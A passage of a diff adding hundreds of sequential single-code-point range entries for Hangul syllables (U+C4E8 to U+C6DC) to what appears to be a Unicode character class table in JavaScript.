+ ["\uC4E8", "\uC4E8"], /* Hangul Syllable */
+ ["\uC4E9", "\uC4E9"], /* Hangul Syllable */
+ ["\uC4EA", "\uC4EA"], /* Hangul Syllable */
+ ["\uC4EB", "\uC4EB"], /* Hangul Syllable */
+ ["\uC4EC", "\uC4EC"], /* Hangul Syllable */
+ ["\uC4ED", "\uC4ED"], /* Hangul Syllable */
+ ["\uC4EE", "\uC4EE"], /* Hangul Syllable */
+ ["\uC4EF", "\uC4EF"], /* Hangul Syllable */
+ ["\uC4F0", "\uC4F0"], /* Hangul Syllable */
+ ["\uC4F1", "\uC4F1"], /* Hangul Syllable */
+ ["\uC4F2", "\uC4F2"], /* Hangul Syllable */
+ ["\uC4F3", "\uC4F3"], /* Hangul Syllable */
+ ["\uC4F4", "\uC4F4"], /* Hangul Syllable */
+ ["\uC4F5", "\uC4F5"], /* Hangul Syllable */
+ ["\uC4F6", "\uC4F6"], /* Hangul Syllable */
+ ["\uC4F7", "\uC4F7"], /* Hangul Syllable */
+ ["\uC4F8", "\uC4F8"], /* Hangul Syllable */
+ ["\uC4F9", "\uC4F9"], /* Hangul Syllable */
+ ["\uC4FA", "\uC4FA"], /* Hangul Syllable */
+ ["\uC4FB", "\uC4FB"], /* Hangul Syllable */
+ ["\uC4FC", "\uC4FC"], /* Hangul Syllable */
+ ["\uC4FD", "\uC4FD"], /* Hangul Syllable */
+ ["\uC4FE", "\uC4FE"], /* Hangul Syllable */
+ ["\uC4FF", "\uC4FF"], /* Hangul Syllable */
+ ["\uC500", "\uC500"], /* Hangul Syllable */
+ ["\uC501", "\uC501"], /* Hangul Syllable */
+ ["\uC502", "\uC502"], /* Hangul Syllable */
+ ["\uC503", "\uC503"], /* Hangul Syllable */
+ ["\uC504", "\uC504"], /* Hangul Syllable */
+ ["\uC505", "\uC505"], /* Hangul Syllable */
+ ["\uC506", "\uC506"], /* Hangul Syllable */
+ ["\uC507", "\uC507"], /* Hangul Syllable */
+ ["\uC508", "\uC508"], /* Hangul Syllable */
+ ["\uC509", "\uC509"], /* Hangul Syllable */
+ ["\uC50A", "\uC50A"], /* Hangul Syllable */
+ ["\uC50B", "\uC50B"], /* Hangul Syllable */
+ ["\uC50C", "\uC50C"], /* Hangul Syllable */
+ ["\uC50D", "\uC50D"], /* Hangul Syllable */
+ ["\uC50E", "\uC50E"], /* Hangul Syllable */
+ ["\uC50F", "\uC50F"], /* Hangul Syllable */
+ ["\uC510", "\uC510"], /* Hangul Syllable */
+ ["\uC511", "\uC511"], /* Hangul Syllable */
+ ["\uC512", "\uC512"], /* Hangul Syllable */
+ ["\uC513", "\uC513"], /* Hangul Syllable */
+ ["\uC514", "\uC514"], /* Hangul Syllable */
+ ["\uC515", "\uC515"], /* Hangul Syllable */
+ ["\uC516", "\uC516"], /* Hangul Syllable */
+ ["\uC517", "\uC517"], /* Hangul Syllable */
+ ["\uC518", "\uC518"], /* Hangul Syllable */
+ ["\uC519", "\uC519"], /* Hangul Syllable */
+ ["\uC51A", "\uC51A"], /* Hangul Syllable */
+ ["\uC51B", "\uC51B"], /* Hangul Syllable */
+ ["\uC51C", "\uC51C"], /* Hangul Syllable */
+ ["\uC51D", "\uC51D"], /* Hangul Syllable */
+ ["\uC51E", "\uC51E"], /* Hangul Syllable */
+ ["\uC51F", "\uC51F"], /* Hangul Syllable */
+ ["\uC520", "\uC520"], /* Hangul Syllable */
+ ["\uC521", "\uC521"], /* Hangul Syllable */
+ ["\uC522", "\uC522"], /* Hangul Syllable */
+ ["\uC523", "\uC523"], /* Hangul Syllable */
+ ["\uC524", "\uC524"], /* Hangul Syllable */
+ ["\uC525", "\uC525"], /* Hangul Syllable */
+ ["\uC526", "\uC526"], /* Hangul Syllable */
+ ["\uC527", "\uC527"], /* Hangul Syllable */
+ ["\uC528", "\uC528"], /* Hangul Syllable */
+ ["\uC529", "\uC529"], /* Hangul Syllable */
+ ["\uC52A", "\uC52A"], /* Hangul Syllable */
+ ["\uC52B", "\uC52B"], /* Hangul Syllable */
+ ["\uC52C", "\uC52C"], /* Hangul Syllable */
+ ["\uC52D", "\uC52D"], /* Hangul Syllable */
+ ["\uC52E", "\uC52E"], /* Hangul Syllable */
+ ["\uC52F", "\uC52F"], /* Hangul Syllable */
+ ["\uC530", "\uC530"], /* Hangul Syllable */
+ ["\uC531", "\uC531"], /* Hangul Syllable */
+ ["\uC532", "\uC532"], /* Hangul Syllable */
+ ["\uC533", "\uC533"], /* Hangul Syllable */
+ ["\uC534", "\uC534"], /* Hangul Syllable */
+ ["\uC535", "\uC535"], /* Hangul Syllable */
+ ["\uC536", "\uC536"], /* Hangul Syllable */
+ ["\uC537", "\uC537"], /* Hangul Syllable */
+ ["\uC538", "\uC538"], /* Hangul Syllable */
+ ["\uC539", "\uC539"], /* Hangul Syllable */
+ ["\uC53A", "\uC53A"], /* Hangul Syllable */
+ ["\uC53B", "\uC53B"], /* Hangul Syllable */
+ ["\uC53C", "\uC53C"], /* Hangul Syllable */
+ ["\uC53D", "\uC53D"], /* Hangul Syllable */
+ ["\uC53E", "\uC53E"], /* Hangul Syllable */
+ ["\uC53F", "\uC53F"], /* Hangul Syllable */
+ ["\uC540", "\uC540"], /* Hangul Syllable */
+ ["\uC541", "\uC541"], /* Hangul Syllable */
+ ["\uC542", "\uC542"], /* Hangul Syllable */
+ ["\uC543", "\uC543"], /* Hangul Syllable */
+ ["\uC544", "\uC544"], /* Hangul Syllable */
+ ["\uC545", "\uC545"], /* Hangul Syllable */
+ ["\uC546", "\uC546"], /* Hangul Syllable */
+ ["\uC547", "\uC547"], /* Hangul Syllable */
+ ["\uC548", "\uC548"], /* Hangul Syllable */
+ ["\uC549", "\uC549"], /* Hangul Syllable */
+ ["\uC54A", "\uC54A"], /* Hangul Syllable */
+ ["\uC54B", "\uC54B"], /* Hangul Syllable */
+ ["\uC54C", "\uC54C"], /* Hangul Syllable */
+ ["\uC54D", "\uC54D"], /* Hangul Syllable */
+ ["\uC54E", "\uC54E"], /* Hangul Syllable */
+ ["\uC54F", "\uC54F"], /* Hangul Syllable */
+ ["\uC550", "\uC550"], /* Hangul Syllable */
+ ["\uC551", "\uC551"], /* Hangul Syllable */
+ ["\uC552", "\uC552"], /* Hangul Syllable */
+ ["\uC553", "\uC553"], /* Hangul Syllable */
+ ["\uC554", "\uC554"], /* Hangul Syllable */
+ ["\uC555", "\uC555"], /* Hangul Syllable */
+ ["\uC556", "\uC556"], /* Hangul Syllable */
+ ["\uC557", "\uC557"], /* Hangul Syllable */
+ ["\uC558", "\uC558"], /* Hangul Syllable */
+ ["\uC559", "\uC559"], /* Hangul Syllable */
+ ["\uC55A", "\uC55A"], /* Hangul Syllable */
+ ["\uC55B", "\uC55B"], /* Hangul Syllable */
+ ["\uC55C", "\uC55C"], /* Hangul Syllable */
+ ["\uC55D", "\uC55D"], /* Hangul Syllable */
+ ["\uC55E", "\uC55E"], /* Hangul Syllable */
+ ["\uC55F", "\uC55F"], /* Hangul Syllable */
+ ["\uC560", "\uC560"], /* Hangul Syllable */
+ ["\uC561", "\uC561"], /* Hangul Syllable */
+ ["\uC562", "\uC562"], /* Hangul Syllable */
+ ["\uC563", "\uC563"], /* Hangul Syllable */
+ ["\uC564", "\uC564"], /* Hangul Syllable */
+ ["\uC565", "\uC565"], /* Hangul Syllable */
+ ["\uC566", "\uC566"], /* Hangul Syllable */
+ ["\uC567", "\uC567"], /* Hangul Syllable */
+ ["\uC568", "\uC568"], /* Hangul Syllable */
+ ["\uC569", "\uC569"], /* Hangul Syllable */
+ ["\uC56A", "\uC56A"], /* Hangul Syllable */
+ ["\uC56B", "\uC56B"], /* Hangul Syllable */
+ ["\uC56C", "\uC56C"], /* Hangul Syllable */
+ ["\uC56D", "\uC56D"], /* Hangul Syllable */
+ ["\uC56E", "\uC56E"], /* Hangul Syllable */
+ ["\uC56F", "\uC56F"], /* Hangul Syllable */
+ ["\uC570", "\uC570"], /* Hangul Syllable */
+ ["\uC571", "\uC571"], /* Hangul Syllable */
+ ["\uC572", "\uC572"], /* Hangul Syllable */
+ ["\uC573", "\uC573"], /* Hangul Syllable */
+ ["\uC574", "\uC574"], /* Hangul Syllable */
+ ["\uC575", "\uC575"], /* Hangul Syllable */
+ ["\uC576", "\uC576"], /* Hangul Syllable */
+ ["\uC577", "\uC577"], /* Hangul Syllable */
+ ["\uC578", "\uC578"], /* Hangul Syllable */
+ ["\uC579", "\uC579"], /* Hangul Syllable */
+ ["\uC57A", "\uC57A"], /* Hangul Syllable */
+ ["\uC57B", "\uC57B"], /* Hangul Syllable */
+ ["\uC57C", "\uC57C"], /* Hangul Syllable */
+ ["\uC57D", "\uC57D"], /* Hangul Syllable */
+ ["\uC57E", "\uC57E"], /* Hangul Syllable */
+ ["\uC57F", "\uC57F"], /* Hangul Syllable */
+ ["\uC580", "\uC580"], /* Hangul Syllable */
+ ["\uC581", "\uC581"], /* Hangul Syllable */
+ ["\uC582", "\uC582"], /* Hangul Syllable */
+ ["\uC583", "\uC583"], /* Hangul Syllable */
+ ["\uC584", "\uC584"], /* Hangul Syllable */
+ ["\uC585", "\uC585"], /* Hangul Syllable */
+ ["\uC586", "\uC586"], /* Hangul Syllable */
+ ["\uC587", "\uC587"], /* Hangul Syllable */
+ ["\uC588", "\uC588"], /* Hangul Syllable */
+ ["\uC589", "\uC589"], /* Hangul Syllable */
+ ["\uC58A", "\uC58A"], /* Hangul Syllable */
+ ["\uC58B", "\uC58B"], /* Hangul Syllable */
+ ["\uC58C", "\uC58C"], /* Hangul Syllable */
+ ["\uC58D", "\uC58D"], /* Hangul Syllable */
+ ["\uC58E", "\uC58E"], /* Hangul Syllable */
+ ["\uC58F", "\uC58F"], /* Hangul Syllable */
+ ["\uC590", "\uC590"], /* Hangul Syllable */
+ ["\uC591", "\uC591"], /* Hangul Syllable */
+ ["\uC592", "\uC592"], /* Hangul Syllable */
+ ["\uC593", "\uC593"], /* Hangul Syllable */
+ ["\uC594", "\uC594"], /* Hangul Syllable */
+ ["\uC595", "\uC595"], /* Hangul Syllable */
+ ["\uC596", "\uC596"], /* Hangul Syllable */
+ ["\uC597", "\uC597"], /* Hangul Syllable */
+ ["\uC598", "\uC598"], /* Hangul Syllable */
+ ["\uC599", "\uC599"], /* Hangul Syllable */
+ ["\uC59A", "\uC59A"], /* Hangul Syllable */
+ ["\uC59B", "\uC59B"], /* Hangul Syllable */
+ ["\uC59C", "\uC59C"], /* Hangul Syllable */
+ ["\uC59D", "\uC59D"], /* Hangul Syllable */
+ ["\uC59E", "\uC59E"], /* Hangul Syllable */
+ ["\uC59F", "\uC59F"], /* Hangul Syllable */
+ ["\uC5A0", "\uC5A0"], /* Hangul Syllable */
+ ["\uC5A1", "\uC5A1"], /* Hangul Syllable */
+ ["\uC5A2", "\uC5A2"], /* Hangul Syllable */
+ ["\uC5A3", "\uC5A3"], /* Hangul Syllable */
+ ["\uC5A4", "\uC5A4"], /* Hangul Syllable */
+ ["\uC5A5", "\uC5A5"], /* Hangul Syllable */
+ ["\uC5A6", "\uC5A6"], /* Hangul Syllable */
+ ["\uC5A7", "\uC5A7"], /* Hangul Syllable */
+ ["\uC5A8", "\uC5A8"], /* Hangul Syllable */
+ ["\uC5A9", "\uC5A9"], /* Hangul Syllable */
+ ["\uC5AA", "\uC5AA"], /* Hangul Syllable */
+ ["\uC5AB", "\uC5AB"], /* Hangul Syllable */
+ ["\uC5AC", "\uC5AC"], /* Hangul Syllable */
+ ["\uC5AD", "\uC5AD"], /* Hangul Syllable */
+ ["\uC5AE", "\uC5AE"], /* Hangul Syllable */
+ ["\uC5AF", "\uC5AF"], /* Hangul Syllable */
+ ["\uC5B0", "\uC5B0"], /* Hangul Syllable */
+ ["\uC5B1", "\uC5B1"], /* Hangul Syllable */
+ ["\uC5B2", "\uC5B2"], /* Hangul Syllable */
+ ["\uC5B3", "\uC5B3"], /* Hangul Syllable */
+ ["\uC5B4", "\uC5B4"], /* Hangul Syllable */
+ ["\uC5B5", "\uC5B5"], /* Hangul Syllable */
+ ["\uC5B6", "\uC5B6"], /* Hangul Syllable */
+ ["\uC5B7", "\uC5B7"], /* Hangul Syllable */
+ ["\uC5B8", "\uC5B8"], /* Hangul Syllable */
+ ["\uC5B9", "\uC5B9"], /* Hangul Syllable */
+ ["\uC5BA", "\uC5BA"], /* Hangul Syllable */
+ ["\uC5BB", "\uC5BB"], /* Hangul Syllable */
+ ["\uC5BC", "\uC5BC"], /* Hangul Syllable */
+ ["\uC5BD", "\uC5BD"], /* Hangul Syllable */
+ ["\uC5BE", "\uC5BE"], /* Hangul Syllable */
+ ["\uC5BF", "\uC5BF"], /* Hangul Syllable */
+ ["\uC5C0", "\uC5C0"], /* Hangul Syllable */
+ ["\uC5C1", "\uC5C1"], /* Hangul Syllable */
+ ["\uC5C2", "\uC5C2"], /* Hangul Syllable */
+ ["\uC5C3", "\uC5C3"], /* Hangul Syllable */
+ ["\uC5C4", "\uC5C4"], /* Hangul Syllable */
+ ["\uC5C5", "\uC5C5"], /* Hangul Syllable */
+ ["\uC5C6", "\uC5C6"], /* Hangul Syllable */
+ ["\uC5C7", "\uC5C7"], /* Hangul Syllable */
+ ["\uC5C8", "\uC5C8"], /* Hangul Syllable */
+ ["\uC5C9", "\uC5C9"], /* Hangul Syllable */
+ ["\uC5CA", "\uC5CA"], /* Hangul Syllable */
+ ["\uC5CB", "\uC5CB"], /* Hangul Syllable */
+ ["\uC5CC", "\uC5CC"], /* Hangul Syllable */
+ ["\uC5CD", "\uC5CD"], /* Hangul Syllable */
+ ["\uC5CE", "\uC5CE"], /* Hangul Syllable */
+ ["\uC5CF", "\uC5CF"], /* Hangul Syllable */
+ ["\uC5D0", "\uC5D0"], /* Hangul Syllable */
+ ["\uC5D1", "\uC5D1"], /* Hangul Syllable */
+ ["\uC5D2", "\uC5D2"], /* Hangul Syllable */
+ ["\uC5D3", "\uC5D3"], /* Hangul Syllable */
+ ["\uC5D4", "\uC5D4"], /* Hangul Syllable */
+ ["\uC5D5", "\uC5D5"], /* Hangul Syllable */
+ ["\uC5D6", "\uC5D6"], /* Hangul Syllable */
+ ["\uC5D7", "\uC5D7"], /* Hangul Syllable */
+ ["\uC5D8", "\uC5D8"], /* Hangul Syllable */
+ ["\uC5D9", "\uC5D9"], /* Hangul Syllable */
+ ["\uC5DA", "\uC5DA"], /* Hangul Syllable */
+ ["\uC5DB", "\uC5DB"], /* Hangul Syllable */
+ ["\uC5DC", "\uC5DC"], /* Hangul Syllable */
+ ["\uC5DD", "\uC5DD"], /* Hangul Syllable */
+ ["\uC5DE", "\uC5DE"], /* Hangul Syllable */
+ ["\uC5DF", "\uC5DF"], /* Hangul Syllable */
+ ["\uC5E0", "\uC5E0"], /* Hangul Syllable */
+ ["\uC5E1", "\uC5E1"], /* Hangul Syllable */
+ ["\uC5E2", "\uC5E2"], /* Hangul Syllable */
+ ["\uC5E3", "\uC5E3"], /* Hangul Syllable */
+ ["\uC5E4", "\uC5E4"], /* Hangul Syllable */
+ ["\uC5E5", "\uC5E5"], /* Hangul Syllable */
+ ["\uC5E6", "\uC5E6"], /* Hangul Syllable */
+ ["\uC5E7", "\uC5E7"], /* Hangul Syllable */
+ ["\uC5E8", "\uC5E8"], /* Hangul Syllable */
+ ["\uC5E9", "\uC5E9"], /* Hangul Syllable */
+ ["\uC5EA", "\uC5EA"], /* Hangul Syllable */
+ ["\uC5EB", "\uC5EB"], /* Hangul Syllable */
+ ["\uC5EC", "\uC5EC"], /* Hangul Syllable */
+ ["\uC5ED", "\uC5ED"], /* Hangul Syllable */
+ ["\uC5EE", "\uC5EE"], /* Hangul Syllable */
+ ["\uC5EF", "\uC5EF"], /* Hangul Syllable */
+ ["\uC5F0", "\uC5F0"], /* Hangul Syllable */
+ ["\uC5F1", "\uC5F1"], /* Hangul Syllable */
+ ["\uC5F2", "\uC5F2"], /* Hangul Syllable */
+ ["\uC5F3", "\uC5F3"], /* Hangul Syllable */
+ ["\uC5F4", "\uC5F4"], /* Hangul Syllable */
+ ["\uC5F5", "\uC5F5"], /* Hangul Syllable */
+ ["\uC5F6", "\uC5F6"], /* Hangul Syllable */
+ ["\uC5F7", "\uC5F7"], /* Hangul Syllable */
+ ["\uC5F8", "\uC5F8"], /* Hangul Syllable */
+ ["\uC5F9", "\uC5F9"], /* Hangul Syllable */
+ ["\uC5FA", "\uC5FA"], /* Hangul Syllable */
+ ["\uC5FB", "\uC5FB"], /* Hangul Syllable */
+ ["\uC5FC", "\uC5FC"], /* Hangul Syllable */
+ ["\uC5FD", "\uC5FD"], /* Hangul Syllable */
+ ["\uC5FE", "\uC5FE"], /* Hangul Syllable */
+ ["\uC5FF", "\uC5FF"], /* Hangul Syllable */
+ ["\uC600", "\uC600"], /* Hangul Syllable */
+ ["\uC601", "\uC601"], /* Hangul Syllable */
+ ["\uC602", "\uC602"], /* Hangul Syllable */
+ ["\uC603", "\uC603"], /* Hangul Syllable */
+ ["\uC604", "\uC604"], /* Hangul Syllable */
+ ["\uC605", "\uC605"], /* Hangul Syllable */
+ ["\uC606", "\uC606"], /* Hangul Syllable */
+ ["\uC607", "\uC607"], /* Hangul Syllable */
+ ["\uC608", "\uC608"], /* Hangul Syllable */
+ ["\uC609", "\uC609"], /* Hangul Syllable */
+ ["\uC60A", "\uC60A"], /* Hangul Syllable */
+ ["\uC60B", "\uC60B"], /* Hangul Syllable */
+ ["\uC60C", "\uC60C"], /* Hangul Syllable */
+ ["\uC60D", "\uC60D"], /* Hangul Syllable */
+ ["\uC60E", "\uC60E"], /* Hangul Syllable */
+ ["\uC60F", "\uC60F"], /* Hangul Syllable */
+ ["\uC610", "\uC610"], /* Hangul Syllable */
+ ["\uC611", "\uC611"], /* Hangul Syllable */
+ ["\uC612", "\uC612"], /* Hangul Syllable */
+ ["\uC613", "\uC613"], /* Hangul Syllable */
+ ["\uC614", "\uC614"], /* Hangul Syllable */
+ ["\uC615", "\uC615"], /* Hangul Syllable */
+ ["\uC616", "\uC616"], /* Hangul Syllable */
+ ["\uC617", "\uC617"], /* Hangul Syllable */
+ ["\uC618", "\uC618"], /* Hangul Syllable */
+ ["\uC619", "\uC619"], /* Hangul Syllable */
+ ["\uC61A", "\uC61A"], /* Hangul Syllable */
+ ["\uC61B", "\uC61B"], /* Hangul Syllable */
+ ["\uC61C", "\uC61C"], /* Hangul Syllable */
+ ["\uC61D", "\uC61D"], /* Hangul Syllable */
+ ["\uC61E", "\uC61E"], /* Hangul Syllable */
+ ["\uC61F", "\uC61F"], /* Hangul Syllable */
+ ["\uC620", "\uC620"], /* Hangul Syllable */
+ ["\uC621", "\uC621"], /* Hangul Syllable */
+ ["\uC622", "\uC622"], /* Hangul Syllable */
+ ["\uC623", "\uC623"], /* Hangul Syllable */
+ ["\uC624", "\uC624"], /* Hangul Syllable */
+ ["\uC625", "\uC625"], /* Hangul Syllable */
+ ["\uC626", "\uC626"], /* Hangul Syllable */
+ ["\uC627", "\uC627"], /* Hangul Syllable */
+ ["\uC628", "\uC628"], /* Hangul Syllable */
+ ["\uC629", "\uC629"], /* Hangul Syllable */
+ ["\uC62A", "\uC62A"], /* Hangul Syllable */
+ ["\uC62B", "\uC62B"], /* Hangul Syllable */
+ ["\uC62C", "\uC62C"], /* Hangul Syllable */
+ ["\uC62D", "\uC62D"], /* Hangul Syllable */
+ ["\uC62E", "\uC62E"], /* Hangul Syllable */
+ ["\uC62F", "\uC62F"], /* Hangul Syllable */
+ ["\uC630", "\uC630"], /* Hangul Syllable */
+ ["\uC631", "\uC631"], /* Hangul Syllable */
+ ["\uC632", "\uC632"], /* Hangul Syllable */
+ ["\uC633", "\uC633"], /* Hangul Syllable */
+ ["\uC634", "\uC634"], /* Hangul Syllable */
+ ["\uC635", "\uC635"], /* Hangul Syllable */
+ ["\uC636", "\uC636"], /* Hangul Syllable */
+ ["\uC637", "\uC637"], /* Hangul Syllable */
+ ["\uC638", "\uC638"], /* Hangul Syllable */
+ ["\uC639", "\uC639"], /* Hangul Syllable */
+ ["\uC63A", "\uC63A"], /* Hangul Syllable */
+ ["\uC63B", "\uC63B"], /* Hangul Syllable */
+ ["\uC63C", "\uC63C"], /* Hangul Syllable */
+ ["\uC63D", "\uC63D"], /* Hangul Syllable */
+ ["\uC63E", "\uC63E"], /* Hangul Syllable */
+ ["\uC63F", "\uC63F"], /* Hangul Syllable */
+ ["\uC640", "\uC640"], /* Hangul Syllable */
+ ["\uC641", "\uC641"], /* Hangul Syllable */
+ ["\uC642", "\uC642"], /* Hangul Syllable */
+ ["\uC643", "\uC643"], /* Hangul Syllable */
+ ["\uC644", "\uC644"], /* Hangul Syllable */
+ ["\uC645", "\uC645"], /* Hangul Syllable */
+ ["\uC646", "\uC646"], /* Hangul Syllable */
+ ["\uC647", "\uC647"], /* Hangul Syllable */
+ ["\uC648", "\uC648"], /* Hangul Syllable */
+ ["\uC649", "\uC649"], /* Hangul Syllable */
+ ["\uC64A", "\uC64A"], /* Hangul Syllable */
+ ["\uC64B", "\uC64B"], /* Hangul Syllable */
+ ["\uC64C", "\uC64C"], /* Hangul Syllable */
+ ["\uC64D", "\uC64D"], /* Hangul Syllable */
+ ["\uC64E", "\uC64E"], /* Hangul Syllable */
+ ["\uC64F", "\uC64F"], /* Hangul Syllable */
+ ["\uC650", "\uC650"], /* Hangul Syllable */
+ ["\uC651", "\uC651"], /* Hangul Syllable */
+ ["\uC652", "\uC652"], /* Hangul Syllable */
+ ["\uC653", "\uC653"], /* Hangul Syllable */
+ ["\uC654", "\uC654"], /* Hangul Syllable */
+ ["\uC655", "\uC655"], /* Hangul Syllable */
+ ["\uC656", "\uC656"], /* Hangul Syllable */
+ ["\uC657", "\uC657"], /* Hangul Syllable */
+ ["\uC658", "\uC658"], /* Hangul Syllable */
+ ["\uC659", "\uC659"], /* Hangul Syllable */
+ ["\uC65A", "\uC65A"], /* Hangul Syllable */
+ ["\uC65B", "\uC65B"], /* Hangul Syllable */
+ ["\uC65C", "\uC65C"], /* Hangul Syllable */
+ ["\uC65D", "\uC65D"], /* Hangul Syllable */
+ ["\uC65E", "\uC65E"], /* Hangul Syllable */
+ ["\uC65F", "\uC65F"], /* Hangul Syllable */
+ ["\uC660", "\uC660"], /* Hangul Syllable */
+ ["\uC661", "\uC661"], /* Hangul Syllable */
+ ["\uC662", "\uC662"], /* Hangul Syllable */
+ ["\uC663", "\uC663"], /* Hangul Syllable */
+ ["\uC664", "\uC664"], /* Hangul Syllable */
+ ["\uC665", "\uC665"], /* Hangul Syllable */
+ ["\uC666", "\uC666"], /* Hangul Syllable */
+ ["\uC667", "\uC667"], /* Hangul Syllable */
+ ["\uC668", "\uC668"], /* Hangul Syllable */
+ ["\uC669", "\uC669"], /* Hangul Syllable */
+ ["\uC66A", "\uC66A"], /* Hangul Syllable */
+ ["\uC66B", "\uC66B"], /* Hangul Syllable */
+ ["\uC66C", "\uC66C"], /* Hangul Syllable */
+ ["\uC66D", "\uC66D"], /* Hangul Syllable */
+ ["\uC66E", "\uC66E"], /* Hangul Syllable */
+ ["\uC66F", "\uC66F"], /* Hangul Syllable */
+ ["\uC670", "\uC670"], /* Hangul Syllable */
+ ["\uC671", "\uC671"], /* Hangul Syllable */
+ ["\uC672", "\uC672"], /* Hangul Syllable */
+ ["\uC673", "\uC673"], /* Hangul Syllable */
+ ["\uC674", "\uC674"], /* Hangul Syllable */
+ ["\uC675", "\uC675"], /* Hangul Syllable */
+ ["\uC676", "\uC676"], /* Hangul Syllable */
+ ["\uC677", "\uC677"], /* Hangul Syllable */
+ ["\uC678", "\uC678"], /* Hangul Syllable */
+ ["\uC679", "\uC679"], /* Hangul Syllable */
+ ["\uC67A", "\uC67A"], /* Hangul Syllable */
+ ["\uC67B", "\uC67B"], /* Hangul Syllable */
+ ["\uC67C", "\uC67C"], /* Hangul Syllable */
+ ["\uC67D", "\uC67D"], /* Hangul Syllable */
+ ["\uC67E", "\uC67E"], /* Hangul Syllable */
+ ["\uC67F", "\uC67F"], /* Hangul Syllable */
+ ["\uC680", "\uC680"], /* Hangul Syllable */
+ ["\uC681", "\uC681"], /* Hangul Syllable */
+ ["\uC682", "\uC682"], /* Hangul Syllable */
+ ["\uC683", "\uC683"], /* Hangul Syllable */
+ ["\uC684", "\uC684"], /* Hangul Syllable */
+ ["\uC685", "\uC685"], /* Hangul Syllable */
+ ["\uC686", "\uC686"], /* Hangul Syllable */
+ ["\uC687", "\uC687"], /* Hangul Syllable */
+ ["\uC688", "\uC688"], /* Hangul Syllable */
+ ["\uC689", "\uC689"], /* Hangul Syllable */
+ ["\uC68A", "\uC68A"], /* Hangul Syllable */
+ ["\uC68B", "\uC68B"], /* Hangul Syllable */
+ ["\uC68C", "\uC68C"], /* Hangul Syllable */
+ ["\uC68D", "\uC68D"], /* Hangul Syllable */
+ ["\uC68E", "\uC68E"], /* Hangul Syllable */
+ ["\uC68F", "\uC68F"], /* Hangul Syllable */
+ ["\uC690", "\uC690"], /* Hangul Syllable */
+ ["\uC691", "\uC691"], /* Hangul Syllable */
+ ["\uC692", "\uC692"], /* Hangul Syllable */
+ ["\uC693", "\uC693"], /* Hangul Syllable */
+ ["\uC694", "\uC694"], /* Hangul Syllable */
+ ["\uC695", "\uC695"], /* Hangul Syllable */
+ ["\uC696", "\uC696"], /* Hangul Syllable */
+ ["\uC697", "\uC697"], /* Hangul Syllable */
+ ["\uC698", "\uC698"], /* Hangul Syllable */
+ ["\uC699", "\uC699"], /* Hangul Syllable */
+ ["\uC69A", "\uC69A"], /* Hangul Syllable */
+ ["\uC69B", "\uC69B"], /* Hangul Syllable */
+ ["\uC69C", "\uC69C"], /* Hangul Syllable */
+ ["\uC69D", "\uC69D"], /* Hangul Syllable */
+ ["\uC69E", "\uC69E"], /* Hangul Syllable */
+ ["\uC69F", "\uC69F"], /* Hangul Syllable */
+ ["\uC6A0", "\uC6A0"], /* Hangul Syllable */
+ ["\uC6A1", "\uC6A1"], /* Hangul Syllable */
+ ["\uC6A2", "\uC6A2"], /* Hangul Syllable */
+ ["\uC6A3", "\uC6A3"], /* Hangul Syllable */
+ ["\uC6A4", "\uC6A4"], /* Hangul Syllable */
+ ["\uC6A5", "\uC6A5"], /* Hangul Syllable */
+ ["\uC6A6", "\uC6A6"], /* Hangul Syllable */
+ ["\uC6A7", "\uC6A7"], /* Hangul Syllable */
+ ["\uC6A8", "\uC6A8"], /* Hangul Syllable */
+ ["\uC6A9", "\uC6A9"], /* Hangul Syllable */
+ ["\uC6AA", "\uC6AA"], /* Hangul Syllable */
+ ["\uC6AB", "\uC6AB"], /* Hangul Syllable */
+ ["\uC6AC", "\uC6AC"], /* Hangul Syllable */
+ ["\uC6AD", "\uC6AD"], /* Hangul Syllable */
+ ["\uC6AE", "\uC6AE"], /* Hangul Syllable */
+ ["\uC6AF", "\uC6AF"], /* Hangul Syllable */
+ ["\uC6B0", "\uC6B0"], /* Hangul Syllable */
+ ["\uC6B1", "\uC6B1"], /* Hangul Syllable */
+ ["\uC6B2", "\uC6B2"], /* Hangul Syllable */
+ ["\uC6B3", "\uC6B3"], /* Hangul Syllable */
+ ["\uC6B4", "\uC6B4"], /* Hangul Syllable */
+ ["\uC6B5", "\uC6B5"], /* Hangul Syllable */
+ ["\uC6B6", "\uC6B6"], /* Hangul Syllable */
+ ["\uC6B7", "\uC6B7"], /* Hangul Syllable */
+ ["\uC6B8", "\uC6B8"], /* Hangul Syllable */
+ ["\uC6B9", "\uC6B9"], /* Hangul Syllable */
+ ["\uC6BA", "\uC6BA"], /* Hangul Syllable */
+ ["\uC6BB", "\uC6BB"], /* Hangul Syllable */
+ ["\uC6BC", "\uC6BC"], /* Hangul Syllable */
+ ["\uC6BD", "\uC6BD"], /* Hangul Syllable */
+ ["\uC6BE", "\uC6BE"], /* Hangul Syllable */
+ ["\uC6BF", "\uC6BF"], /* Hangul Syllable */
+ ["\uC6C0", "\uC6C0"], /* Hangul Syllable */
+ ["\uC6C1", "\uC6C1"], /* Hangul Syllable */
+ ["\uC6C2", "\uC6C2"], /* Hangul Syllable */
+ ["\uC6C3", "\uC6C3"], /* Hangul Syllable */
+ ["\uC6C4", "\uC6C4"], /* Hangul Syllable */
+ ["\uC6C5", "\uC6C5"], /* Hangul Syllable */
+ ["\uC6C6", "\uC6C6"], /* Hangul Syllable */
+ ["\uC6C7", "\uC6C7"], /* Hangul Syllable */
+ ["\uC6C8", "\uC6C8"], /* Hangul Syllable */
+ ["\uC6C9", "\uC6C9"], /* Hangul Syllable */
+ ["\uC6CA", "\uC6CA"], /* Hangul Syllable */
+ ["\uC6CB", "\uC6CB"], /* Hangul Syllable */
+ ["\uC6CC", "\uC6CC"], /* Hangul Syllable */
+ ["\uC6CD", "\uC6CD"], /* Hangul Syllable */
+ ["\uC6CE", "\uC6CE"], /* Hangul Syllable */
+ ["\uC6CF", "\uC6CF"], /* Hangul Syllable */
+ ["\uC6D0", "\uC6D0"], /* Hangul Syllable */
+ ["\uC6D1", "\uC6D1"], /* Hangul Syllable */
+ ["\uC6D2", "\uC6D2"], /* Hangul Syllable */
+ ["\uC6D3", "\uC6D3"], /* Hangul Syllable */
+ ["\uC6D4", "\uC6D4"], /* Hangul Syllable */
+ ["\uC6D5", "\uC6D5"], /* Hangul Syllable */
+ ["\uC6D6", "\uC6D6"], /* Hangul Syllable */
+ ["\uC6D7", "\uC6D7"], /* Hangul Syllable */
+ ["\uC6D8", "\uC6D8"], /* Hangul Syllable */
+ ["\uC6D9", "\uC6D9"], /* Hangul Syllable */
+ ["\uC6DA", "\uC6DA"], /* Hangul Syllable */
+ ["\uC6DB", "\uC6DB"], /* Hangul Syllable */
+ ["\uC6DC", "\uC6DC"], /* Hangul Syllable */
